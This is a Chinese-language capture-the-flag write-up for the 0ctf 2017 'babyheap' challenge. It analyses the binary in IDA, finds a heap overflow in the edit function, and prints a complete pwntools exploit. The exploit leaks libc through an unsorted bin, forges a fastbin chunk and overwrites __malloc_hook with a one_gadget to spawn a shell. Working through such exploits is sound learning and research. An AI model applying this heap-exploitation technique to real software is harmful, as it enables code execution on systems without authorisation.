程序分析
1.查看保护
- checksec一下

保护全开,拼尽全力无法战胜()
2.分析程序
将程序使用ida打开

找到了main函数
sub_B70()
发现是初始化函数,重命名为initial

sub_CF4()

显然是menu函数,用来打印,重命名为menu
sub_138C()

是读入选择,重命名为choice()
- sub_123D()

是读入函数,重命名为reads()
sub_D48()

注意到calloc,是申请堆块,
堆块信息放在一个结构体数组里,重命名为allocate()
1 2 3 4 5 6
| struct page { long long flag; long long size; char* content; };
|
sub_E7F()

是往写chunk入内容,重命名为eidt()
- sub_11B2()

就是写入函数的具体实现
sub_F50()

是free堆块,重命名为delete()
sub_1051()

是输出堆块内容,重命名为show
- sub_130F()

这是输出函数的具体实现
以上就是程序分析
漏洞分析与实现
注意到edit()函数里读入的长度是自己输入的size,如果输入的size大于chunk块的大小,就会发生溢出.
那么就可以通过覆写修改bins中chunk的fd或者bk就能使得 没有free的chunk 处于bins中,然后通过malloc得到又一个指向 那 地方的指针
malloc_hook是一个神奇的函数指针,如果它不为空,那么在malloc时就会先调用malloc_hook指向的函数,我们可以通过one_gadget工具获取神奇的 类后门函数 地址
由于开了PIE保护,我们不得不泄露libc地址,这就需要unsorted bins
编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import *
io=process('./babyheap')
def add(size: int): cmd(1) io.recvuntil(b'Size:') io.sendline(str(size).encode())
def edit(idx: int, size: int, content: bytes): cmd(2) io.recvuntil(b'Index:') io.sendline(str(idx).encode()) io.recvuntil(b'Size:') io.sendline(str(size).encode()) io.recvuntil(b'Content:') io.send(content)
def delete(idx: int): cmd(3) io.recvuntil(b'Index:') io.sendline(str(idx).encode())
def show(idx: int): cmd(4) io.recvuntil(b'Index:') io.sendline(str(idx).encode())
|
然后申请堆块
1 2 3 4 5
| add(0x10) add(0x10) add(0x10) add(0x10) add(0x80)
|
将1,2号free掉
fastbins中
2->1
2的fd指针指向1
通过edit(0)覆写2的fd指针
1 2 3
| extend = flat(0, 0, 0, 0x21, 0, 0, 0, 0x21)+b'\x80' edit(0, len(extend), extend)
|
不过我们还需要修改4的size位,要符合1,2所在的 fastbins 的大小
1 2
| extend = flat(0, 0, 0, 0x21) edit(3, len(extend), extend)
|
然后malloc俩chunk
我们的2指针指向了4
然后把4的size还原
1 2
| extend = flat(0, 0, 0, 0x91) edit(3, len(extend), extend)
|
为了隔离4和top chunk,我们还需要申请一个chunk
然后安心free(4),把它置入 unsorted bins 中
此时4的fd指针写的是main_arena相关的地址
我们可以通过show(2)来泄露这个地址
1 2 3 4 5 6
| show(2) io.recvuntil(b'Content: \n') main_arena = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) log.success('main_arena:'+hex(main_arena)) libc_base = main_arena-0x3c4b78 log.success('libc:'+hex(libc_base))
|
现在,我们得到了libc的基地址
然后开始伪造chunk,将one_gadget的内容填入__malloc_hook
1 2 3 4 5 6 7 8 9 10
| add(0x60)
delete(4)
extend = p64(libc_base+0x3c4aed) edit(2, len(extend), extend)
add(0x60) add(0x60)
|
6就是fake chunk,
直接修改__malloc_hook的值
1 2
| extend = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a) edit(6, len(extend), extend)
|
然后调用malloc就能get shell了
1 2 3
| add(123)
io.interactive()
|
完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h']
libc = ELF("./libc-2.23.so") io = process('./babyheap_0ctf_2017') # io = remote()
''' struct page { long long flag; long long size; char* content; }; '''
def cmd(s: int): io.recvuntil(b'Command:') io.sendline(str(s).encode())
def add(size: int): cmd(1) io.recvuntil(b'Size:') io.sendline(str(size).encode())
def edit(idx: int, size: int, content: bytes): cmd(2) io.recvuntil(b'Index:') io.sendline(str(idx).encode()) io.recvuntil(b'Size:') io.sendline(str(size).encode()) io.recvuntil(b'Content:') io.send(content)
def delete(idx: int): cmd(3) io.recvuntil(b'Index:') io.sendline(str(idx).encode())
def show(idx: int): cmd(4) io.recvuntil(b'Index:') io.sendline(str(idx).encode())
# gdb.attach(io, 'b *$rebase(0x113d)')
add(0x10) # 0 add(0x10) # 1 add(0x10) # 2 add(0x10) # 3 add(0x80) # 4
delete(1) delete(2)
# 用edit(0)覆盖2的fd extend = flat(0, 0, 0, 0x21, 0, 0, 0, 0x21)+b'\x80' edit(0, len(extend), extend)
# 用edit(3)覆盖4的size extend = flat(0, 0, 0, 0x21) edit(3, len(extend), extend)
add(0x10) # idx1 to 2 add(0x10) # idx2 to 4
extend = flat(0, 0, 0, 0x91) edit(3, len(extend), extend)
# 隔离4和top chunk add(0x80) # 5
# free掉4 delete(4)
# idx2指向4,show(2)可以泄露4的内容 show(2)
# 泄露libc # 接收main_arane的地址 io.recvuntil(b'Content: \n') main_arena = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) log.success('main_arena:'+hex(main_arena)) libc_base = main_arena-0x3c4b78 log.success('libc:'+hex(libc_base))
# 伪造chunk add(0x60) # 4
delete(4) extend = p64(libc_base+0x3c4aed) edit(2, len(extend), extend)
add(0x60) # 4 add(0x60) # 6
# get shell extend = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a) edit(6, len(extend), extend)
add(123)
io.interactive()
|
结语
跌跌撞撞终于写出了第一个堆题
就记录一下.